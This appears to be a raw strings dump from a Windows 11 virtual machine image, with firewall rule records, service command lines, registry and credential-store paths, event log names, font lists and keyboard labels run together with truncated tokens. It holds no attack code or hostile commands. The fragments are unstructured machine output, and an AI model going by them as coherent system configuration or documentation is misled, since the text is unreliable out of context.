v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.MPEG2VideoExtension_1.2.13.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.MPEG2VideoExtension/Resources/AppStoreName}|Desc=@{Microsoft.MPEG2VideoExtension_1.2.13.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.MPEG2VideoExtension/Resources/AppStoreName}|PFN=Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.MPEG2VideoExtension_1.2.13.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.MPEG2VideoExtension/Resources/AppStoreName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=Solitaire & Casual Games|Desc=Solitaire & Casual Games|PFN=Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Solitaire & Casual Games| .33|Action=Block|Active=TRUE|Dir=In|Name=@{Clipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt?ms-resource://Clipchamp.Clipchamp/Resources/Clipchamp/AppName}|Desc=@{Clipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt?ms-resource://Clipchamp.Clipchamp/Resources/Clipchamp/AppName}|PFN=Clipchamp.Clipchamp_yxz26nhyzhsrt|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Clipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt?ms-resource://Clipchamp.Clipchamp/Resources/Clipchamp/AppName}| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.AV1VideoExtension/Resources/AppStoreName}|Desc=@{Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.AV1VideoExtension/Resources/AppStoreName}|PFN=Microsoft.AV1VideoExtension_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.AV1VideoExtension/Resources/AppStoreName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.AV1VideoExtension/Resources/AppStoreName}|Desc=@{Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.AV1VideoExtension/Resources/AppStoreName}|PFN=Microsoft.AV1VideoExtension_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.AV1VideoExtension/Resources/AppStoreName}| netsstpa.inf 10.0.26100.1 10.0.26100.1 netsstpa.inf Ndi-Mp-Sstp Ndi-Mp-Sstp {00000000-0000-0000-ffff-ffffffffffff} ms_ndiswanipv6 {4d36e972-e325-11ce-bfc1-08002be10318} NdisWan @netrasa.inf,%mp-ipv6-dispname%;WAN Miniport (IPv6) {4d36e972-e325-11ce-bfc1-08002be10318}\0008 WAN Miniport (IPv6) WAN Miniport (IPv6) @netrasa.inf,%msft%;Microsoft Microsoft Microsoft 6-21-2006 netrasa.inf 10.0.26100.1 10.0.26100.1 netrasa.inf Ndi-Mp-Ipv6 Ndi-Mp-Ipv6 netrasa.inf:db04a16ce6765c77:Ndi-Mp-Ipv6:10.0.26100.1:ms_ndiswanipv6 ms_ndiswanipv6 ms_ndiswanipv6 WAN Miniport (IPv6) NdisWanIpv6 NdisWan MS_wanarpv6 C:\WINDOWS\system32\svchost.exe -k ClipboardSvcGroup -p cbdhsvc_3f7d0 @%SystemRoot%\system32\cbdhsvc.dll,-101 Action=Block|Active=TRUE|Dir=In|Name=Widgets Platform Runtime|Desc=Widgets Platform Runtime|PFN=Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Widgets Platform Runtime| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=Widgets Platform Runtime|Desc=Widgets Platform Runtime|PFN=Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Widgets Platform Runtime| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=Widgets Platform Runtime|Desc=Widgets Platform Runtime|PFN=Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Widgets Platform Runtime| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=Widgets Platform Runtime|Desc=Widgets Platform Runtime|PFN=Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Widgets Platform Runtime|Platform=2:6:2|Platform2=GTEQ| microsoft.startexperiencesapp_8wekyb3d8bbwe microsoft.startexperiencesapp_8wekyb3d8bbwe HID_DEVICE_UP:000D_U:0001 HID_DEVICE_UP:000D_U:0002 HID_DEVICE_UP:000D_U:0003 HID_DEVICE_UP:000D_U:000F @%SystemRoot%\system32\PenService.dll,-101 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup PimIndexMaintenanceSvc_3f7d0 @%SystemRoot%\system32\UserDataAccessRes.dll,-15000 C:\WINDOWS\system32\svchost.exe -k PrintWorkflow PrintWorkflowUserSvc_3f7d0 @%SystemRoot%\system32\PrintWorkflowService.dll,-101 C:\WINDOWS\system32\svchost.exe -k UdkSvcGroup UdkUserSvc_3f7d0 @%SystemRoot%\system32\windowsudkservices.shellcommon.dll,-101 C:\WINDOWS\System32\svchost.exe -k UnistackSvcGroup UnistoreSvc_3f7d0 v2.33|Action=Block|Active=TRUE|Dir=In|Name=Windows Web Experience Pack|Desc=Windows Web Experience Pack|PFN=MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Windows Web Experience Pack| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=Windows Web Experience Pack|Desc=Windows Web Experience Pack|PFN=MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Windows Web Experience Pack| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=Windows Web Experience Pack|Desc=Windows Web Experience Pack|PFN=MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Windows Web Experience Pack| Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat Microsoft-OneCore-Graphics-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat @MS Gothic @MS PGothic @NSimSun @SimSun ARIAL COURIER COURIER NEW FIXEDSYS MS Gothic MS PGothic MS SANS SERIF MS SERIF NSimSun SimSun SMALL FONTS SYMBOL SYMBOL TIMES NEW ROMAN WINGDINGS -3512805223 wekyb3d8bbwe ?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 3DNode00 3DNode01 3DNode02 EVICE0 \Device\HarddiskVolume3\Windows\System32\winlogon.exe StubDisp \Device\HarddiskVolume3\Windows\System32\wininit.exe Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\en-US.pak 001\Preferred \Device\HarddiskVolume3\Users\job\NTUSER.DAT{ca419014-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000001.regtrans-ms \Device\HarddiskVolume3\Users\job\NTUSER.DAT{ca419014-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000001.regtrans-ms \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\en-US.pak 001\Preferred \Device\HarddiskVolume3\Users\job\NTUSER.DAT{ca419014-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000001.regtrans-ms \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx 6-1001\Preferred \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\UsrClass.dat{cab2c3c4-0e76-11f1-b1fc-000c29f29c8b}.TM.blf \Device\HarddiskVolume3\Users\job\NTUSER.DAT{ca419014-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000001.regtrans-ms \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx 6-1001\Preferred \Device\HarddiskVolume3\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Protect\S-1-5-21-3914889805-4071901059-918772286-1001\Preferred \Device\HarddiskVolume3\Users\job\NTUSER.DAT{ca419014-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000002.regtrans-ms \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\UsrClass.dat{cab2c3c4-0e76-11f1-b1fc-000c29f29c8b}.TM.blf \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\UsrClass.dat{cab2c3c4-0e76-11f1-b1fc-000c29f29c8b}.TM.blf d?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrs &XVWRPL]H VHWWL8VH UHFRPPHQGHG VHWWLQJV IHDWXUHV IL[HV UHFRPPHQGHG WKDW DOORZ P5HPRWH1* inSxS\ Arial Monotype:Arial Bold Italic (Microsoft) Arial Bold Italic Bold Italic 0:Western 2:Symbol 77:Mac 128:Japanese 129:Hangul 130:Hangul(Johab) 134:CHINESE_GB2312 136:CHINESE_BIG5 161:Greek 162:Turkish 163:Vietnamese 177:Hebrew 178:Arabic 186:Baltic 204:Cyrillic 222:Thai 238:Central European 255:OEM/DOS 256:Other Arial Monotype:Arial Bold Italic (Microsoft) Arial Bold Italic Bold Italic inSxS\ @NSimSun NSimSun @NSimSun Regular DOWS\W NSimSun NSimSun NSimSun Regular ifest inSxS\ NSimSun NSimSun NSimSun Regular inSxS\ @NSimSun NSimSun @NSimSun Regular 0:Western 2:Symbol 77:Mac 128:Japanese 129:Hangul 130:Hangul(Johab) 134:CHINESE_GB2312 136:CHINESE_BIG5 161:Greek 162:Turkish 163:Vietnamese 177:Hebrew 178:Arabic 186:Baltic 204:Cyrillic 222:Thai 238:Central European 255:OEM/DOS 256:Other Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat >@>=@@@@ \Sessions\BNOLINKS WofCompressedData FAULT \BaseNamedObjects WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData \BaseNamedObjects WofCompressedData WinSta0_RIT AppContainerNamedObjects WinSta0_DesktopSwitch AppContainerNamedObjects inSxS\ WofCompressedData 00000000-0000d007 inSxS\ WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData inSxS\ WofCompressedData WofCompressedData WofCompressedData WofCompressedData BootShellComplete ssembl C_64 \Windows\security WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData \REGISTRY\MACHINE\SAM WofCompressedData WofCompressedData WofCompressedData WofCompressedData UMSServicesStarted WofCompressedData \Windows\Globalization MIDI 2.0 Service Tests WofCompressedData ssembl C_64 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData MIDISRV\MidiEndpoints WofCompressedData WofCompressedData SC_AutoStartPhase1Done SC_AutoStartComplete WofCompressedData WofCompressedData WofCompressedData Service Test Loopback B MIDIU_DIAG_LOOPBACK_B inSxS\ WofCompressedData WofCompressedData FAULT WofCompressedData WofCompressedData WofCompressedData GenericMidiEndpoint \Registry\User\.Default\ Maintenance Scheduler ssembl C_64 WofCompressedData inSxS\ WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData lume3 WofCompressedData WofCompressedData MIDIU_DIAG_LOOPBACK_A WofCompressedData \Windows\assembly WofCompressedData WofCompressedData ssembl LSA_RPC_SERVER_ACTIVE WofCompressedData WofCompressedData WofCompressedData GenericMidiEndpoint WinSta0_RIT WofCompressedData WofCompressedData WofCompressedData WofCompressedData Kernel-ProductInfo WofCompressedData SidKey Local End Point MIDISRV\MidiEndpoints EventShutDownCSRSS WofCompressedData WofCompressedData WofCompressedData \Windows\ServiceState WinSta0_DesktopSwitch NlsSectionCP28591 WofCompressedData Service Test Loopback A WofCompressedData WofCompressedData protected_storage WofCompressedData sion WofCompressedData MIDI 2.0 Loop Devices WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData ProcessManagement WofCompressedData WofCompressedData WofCompressedData FAULT WofCompressedData WofCompressedData WofCompressedData 00000000-0000cff3 WofCompressedData SM0:712:120:WilError_03 WofCompressedData FAULT WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData MIDIU_DIAG_TRANSPORT WofCompressedData WofCompressedData winlogon.exe SM0:648:120:WilError_03 MIDIU_LOOP_TRANSPORT FirstWinlogonCheck WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData FAULT WofCompressedData MIDISRV\MidiEndpoints WofCompressedData WofCompressedData WinLogon_FirstLogon WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\logUploaderSettings_temp.ini SEGOE UI Segoe UI Microsoft New Tai Lue Microsoft New Tai Lue Regular Microsoft New Tai Lue Regular Constantia Microsoft: Constantia Italic: 2005 Constantia Italic Italic SEGOE UI Segoe UI Sorting SubC Temp DOWS\W Tahoma Microsoft Tahoma Regular Tahoma Regular MS SHELL DLG MS Shell Dlg Segoe UI Variable Display Semib Nirmala UI Semilight 1\Services\CC Segoe UI Semibold Segoe UI Variable Display Bold Segoe UI Variable Text Semibold Ebrima M\ControlSet001\Control\SCM PMingLiU iable Display Semib Microsoft JhengHei UI Semiligh Segoe UI Variable Display Bold PMingLiU-ExtB ilight t Light Segoe UI Variable Text Semibold Leelawadee UI Bold isplay Semil Segoe UI Variable Text Light Microsoft JhengHei UI \Control\Srp Segoe UI Variable Display Semil Khmer UI Variable Text Semibold Ebrima Bold Microsoft Sans Serif Microsoft JhengHei ext Bold SimSun me3\Windows\Fonts\msjh Segoe UI Variable Text Bold Segoe UI Variable Display Light Segoe UI Variable Text Light \Srp Gadugi Bold iable Display Semil Microsoft JhengHei UI Bold ligh Segoe UI Semilight 001\Control\Srp 19-98841_8wekyb3d8bbwe Nirmala UI Semilight 1\Control\Srp MingLiU ibold Segoe UI Leelawadee ntrolSet001\Control\Srp Segoe UI Light Data Leelawadee UI INDOWS\security\EDP\Logs\Aud AuditRegular_8.etl PMingLiU-ExtB Microsoft JhengHei Bold y Semib Segoe UI Variable Small Bold AUDIODG.EXE-AB22E9A6.pf Segoe UI Variable Display Semib Tahoma trol SVCHOST.EXE-B211F709.pf Segoe UI Variable Small ontrol\Srp Lao UI Bold iable Display Semib Tahoma Leelawadee UI Bold Microsoft YaHei e Small Light Leelawadee Bold 001\Control\Srp Gadugi 19-9 SVCHOST.EXE-A4B742B7.pf Khmer UI Semilight Segoe UI Semibold Gadugi Bold Segoe UI Light Segoe UI Bold olSet001\Control\Srp Microsoft JhengHei UI Light Data 19-98841_8wekyb3d8bbwe Ebrima I Variable Small Light \Srp 19-98841_8wekyb3d8bbwe Segoe UI WinHttpAutoProxySvc Segoe UI Variable Small Light Segoe UI Bold ISTRY\MACHINE\SYSTEM\Control StructuredQuery.dllP MSUIM.Msg.LangBarModal SVCHOST.EXE-EA9BB143.pf Microsoft.Windows.48.X19-9 appvetwclientres.dll Microsoft.Windows.48.X19-9 advapi32res.dll.mui \ProgramData\Microsoft\Diagnosis\DownloadedScenarios ISTRY\MACHINE\SYSTEM\Control SVCHOST.EXE-E5CD0034.pf ISTRY\MACHINE\SYSTEM\Control refsdedupsvc.exe.mui ISTRY\MACHINE\SYSTEM\Control CascadiaMonoItalic.ttf trol SVCHOST.EXE-5E007493.pf Microsoft.Windows.48.X19-9 PeerDistSvc.dll.mui CascadiaCodeItalic.ttf SVCHOST.EXE-F6EF00D7.pf ows.staterepositorycore.dll MSUIM.Msg.RpcSendReceive 19-98841_8wekyb3d8bbwe ISTRY\MACHINE\SYSTEM\Control DownloadedScenarios ISTRY\MACHINE\SYSTEM\Control SVCHOST.EXE-ED843F3F.pf SVCHOST.EXE-BE29F373.pf Segoe UI Variable Text Leelawadee UI ble Text Bold MingLiU_HKSCS-ExtB ext Light l\Hvs Gadugi iable Small Semilig \Device\HarddiskVolume3\ SVCHOST.EXE-7AAD9645.pf trolSet001\Control\Hvsi .NET Data Provider for Oracle_Perf_Library_Lock_PID_aac Khmer UI Bold ble Text Semiligh Segoe UI Variable Small Semibol Ebrima Bold MingLiU_HKSCS-ExtB Segoe UI Variable Text Bold Microsoft JhengHei Bold \Windows\System32\Microsoft\Protect\S-1-5-18\User Nirmala UI Bold Segoe UI Variable Small Semilig Lao UI I Variable Small Semibol Segoe UI Semilight 001\Control\Hvs Lao UI Bold iable Text Light .NET CLR Networking 4.0.0.0_Perf_Library_Lock_PID_aac Microsoft JhengHei UI Light dows\Prefetch\BACKGROUNDTRAN SVCHOST.EXE-A21A7EFE.pf Leelawadee Bold SVCHOST.EXE-EBBF67E6.pf SVCHOST.EXE-6867B1E5.pf Nirmala UI riable Text Bold ISTRY\MACHINE\SYSTEM\Control poweron-vm-default.bat SVCHOST.EXE-CD72A0A7.pf Leelawadee Segoe UI Variable Text Light WEVT_TEMPLA mscorlib.ni.dll.aux \Windows\assembly\NativeImages_v4.0.30319_32\System.Core System.Configuration mscorlib.ni.dll.aux \Windows\assembly\NativeImages_v4.0.30319_32\System.Xml System.Core.ni.dll \Windows\ServiceProfiles\LocalService\AppData\Local\Temp ISTRY\MACHINE\SYSTEM\Control embeddedmodesvcapi.dll System.Core.ni.dll.aux \Windows\ServiceProfiles\LocalService\AppData\LocalS \??\C:\WINDOWS\ServiceProfiles\LocalService\NTUSER.DAT ISTRY\MACHINE\SYSTEM\Control ServicingCommon.dllit trolSet001\Control\Srp\GP MergeSdbFilesSource System.Xml.ni.dll.aux \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing \Windows\System32\config\systemprofile\AppData\Local Yu Gothic UI rolSet001\Control\Srp Yu Gothic UI Light Microsoft YaHei UI Bold ontrol\Hvs Meiryo UI .X19-98841_8wekyb3d8bbwe Meiryo UI Yu Gothic UI Semilight Meiryo Microsoft YaHei UI Light ntrol\Srp Yu Gothic UI Semibold Yu Gothic UI Bold Microsoft YaHei UI Light System.Windows.Forms Microsoft.Windows.48.X19-9 kernel.appcore.dll ISTRY\MACHINE\SYSTEM\Control EventAggregation.dll Yu Gothic UI Semibold ce\sysMerge. Yu Gothic UI Microsoft YaHei UI Bold Meiryo Bold Yu Gothic UI Bold Meiryo Bold Yu Gothic UI Semilight ISTRY\MACHINE\SYSTEM\Control KernelBase.dll.muionfig Meiryo Yu Gothic UI Light MS PMincho MS Mincho MS Gothic ontrolSet001\Control\Srp MS UI Gothic rolSet001\Services\CC MS PMincho Batang MS PGothic MS Mincho Meiryo UI Bold System.Drawing.dll MS Gothic DotumChe Gungsuh \ControlSet001\Control\Lsa GungsuhChe \Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility Gungsuh BatangChe GulimChe ControlSet001\Control\Srp Gulim EM\ControlSet001\Control\Min DotumChe Dotum Gulim GulimChe Malgun Gothic BatangChe lIsolationConfiguration Batang Dotum EM\ControlSet001\Control\Lsa Malgun Gothic Malgun Gothic Semilight :WilStaging_02 SimSun-ExtG trolSet001\Control\Lsa Malgun Gothic Bold 0F00 GungsuhChe 0F00 Malgun Gothic Semilight kyb3d8bbwe SimSun-ExtG trolSet001\Control\Lsa \??\C:\WINDOWS\ServiceProfiles\NetworkService\NTUSER.DAT Malgun Gothic Bold C:\WINDOWS\system32\svchost.exe -k GPSvcGroup \Windows\ServiceProfiles\NetworkService\AppData\Local \Windows\assembly\NativeImages_v4.0.30319_32\System PsmServiceExtHost.dll MSCTFIME Composition MSIMEReconvertRequest C:\WINDOWS\system32\svchost.exe -k RPCSS -p D3DCompiler_47.dll MSIMEMouseOperation \Windows\assembly\NativeImages_v4.0.30319_32\mscorlib LogonController.dll \ProgramData\Microsoft\Windows Defender\LocalCopy istry\Machine\SECURITY\Polic SansSerifCollection.ttf ISTRY\MACHINE\SYSTEM\Control umpo-overrides.dllP Configuration Data KerbClientShared.dll \Windows\Microsoft.NET\Framework\v4.0.30319\Config CredProvCommonCore.dll \Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll \REGISTRY\A\{4a6a3ca5-f887-43f2-b0e1-ab65a1691968} ISTRY\MACHINE\SYSTEM\Control SitkaVF-Italic.ttfP assembly Manifests \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\SystemData\S-1-5-18\ReadOnly\LockScreen_Z\LockScreen___3438_1199_notdimmed.jpg _541af4fe0fd3faf0.manifest Globalization ID_1 MS SHELL DLG MS Shell Dlg Comic Sans MS Microsoft Comic Sans Bold Comic Sans MS Bold Bold Microsoft YaHei Microsoft YaHei-Bold Microsoft YaHei Bold Bold @Microsoft YaHei Microsoft YaHei-Bold @Microsoft YaHei Bold Bold Microsoft YaHei Microsoft YaHei-Bold Microsoft YaHei Bold Bold DOWS\f Malgun Gothic Malgun Gothic Regular Malgun Gothic Regular srvsvc \Device\HarddiskVolume3\Windows\System32\config\systemprofile\AppData\Local\Packages\microsoft.windows.fontdrvhost\AC\INetHistory ne_9910702c70834c7b.manifest \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnGraphiteCache\data_3 1363848025.pri Windows.UI.dll \??\C:\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.WINDOWSTERMINAL_1.18.10301.0_X64__8WEKYB3D8BBWE\CASCADIACODE.TTF wpdbusenum.dll MrmCoreR.dll wincorlib.dll globinputhost.dll winlangdb.dll.mui Winlangdb.dll.mun BCP47mrm.dll Winlangdb.dll BCP47Langs.dll wlanapi.dll winbio.dll \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.DesktopSpotlight.AppXsbcwqry9q2amq0yycaave244ba1n1r0w.mca Prefetch \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Advertising 32.png fe0fd3faf0.manifest \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\283df284fc76dcd1_0 Microsoft.WindowsStore_8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_0 a\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\SCT Auditing Pending Reports Microsof Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\LocalState\IrisCampaignsAssets anifest \Device\HarddiskVolume3\Windows\ServiceProfiles\LocalService\NTUSER.DAT{67e8be70-0ec0-11f1-b1f7-bf1c161e67ad}.TMContainer00000000000000000001.regtrans-ms \Device\HarddiskVolume3\Windows\ServiceProfiles\LocalService\NTUSER.DAT{67e8be70-0ec0-11f1-b1f7-bf1c161e67ad}.TMContainer00000000000000000001.regtrans-ms AIDE <00> HAUT ATTN CTRL SUPPR DEFIL Pause ECHAP ~TILDE TREMA DROITE GAUCHE ESPACE ENTREE PG.SUIV PG.PREC ORIGINE Ver.Num RET.ARR VERR.MAJ ALT DROITE Impr.Ecran MAJ DROITE APPLICATION CTRL DROITE ACCENT AIGU `ACCENT GRAVE / (PAVE NUM.) . (PAVE NUM.) 0 (PAVE NUM.) 3 (PAVE NUM.) 2 (PAVE NUM.) 1 (PAVE NUM.) + (PAVE NUM.) 6 (PAVE NUM.) 5 (PAVE NUM.) 4 (PAVE NUM.) - (PAVE NUM.) 9 (PAVE NUM.) 8 (PAVE NUM.) 7 (PAVE NUM.) * (PAVE NUM.) WINDOWS DROITE WINDOWS GAUCHE ENTREE (PAVE NUM.) ^ACCENT CIRCONFLEXE `0a1b2c3d4e5f6g7h8i9 22"@33*#44 77/|88( 99)00= .:n.. k++o//j**m-- 1234567890 QWERTZUIOP ASDFGHJKL YXCVBNM pqrstuvwxy /|}~ S-1-5-18 \Device\HarddiskVolume3\Windows\System32\services.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaCodeItalic.ttf \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\CascadiaMonoItalic.ttf @AEPSTUVWXZ[\]^uvwxz{|}~ \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\VMware VGAuth\schemas\catalog.xml C:\WINDOWS\system32\Logfiles\WMI\RtBackup\EtwRTWFP-IPsec Diagnostics.etl Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\VMware VGAuth\schemas\catalog.xml \Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Safe Browsing Network\Safe Browsing Cookies 100.7705.cat S-1-5-21-3914889805-4071901059-918772286-1001 \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe x}s~~ Ncsi wtd.sys Ncsi trkwks Ncsi Ncsi Ncsi Ncsi Dhcp Dhcp Dhcp Dhcp Dhcp Dhcp srv2 srv2.sys Srv2 ConDrv condrv $DSC $DSC MMCSS MMCSS Ndu.sys Global vmmemctl \\*\C$ VMMemCtl vmmemctl vmhgfs PEAuth vmhgfs hgfs Global PEAUTH PEAuth tcpipreg SrvAdmin SrvNet srvnet \$Volume msedgewebview2 S-1-5-18 \Device\HarddiskVolume3\Windows\System32\svchost.exe taskhostw System oft-Windows-WER-SystemErrorReporting'] and (EventID=1000 or EventID=1001 or EventID=1006)]] Application Application Error'] and EventID=1000]] and *[EventData[Data[1]='svchost.exe_SysMain' and Data[7] RITY SYSTEM Negotiate NegoExtender Kerberos NTLM {ECABB0C3-7F19-11D2-978E-0000F8757E2A} Microsoft-Windows-Kernel-StoreMgr/Operational ational">*[System[Provider[@Name='Microsoft-Windows-Kernel-Sto System ation Popup'] and EventID=1801]] TsRepetition \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat UserSid\S-1-5-21-3914889805-4071901059-918772286-1001 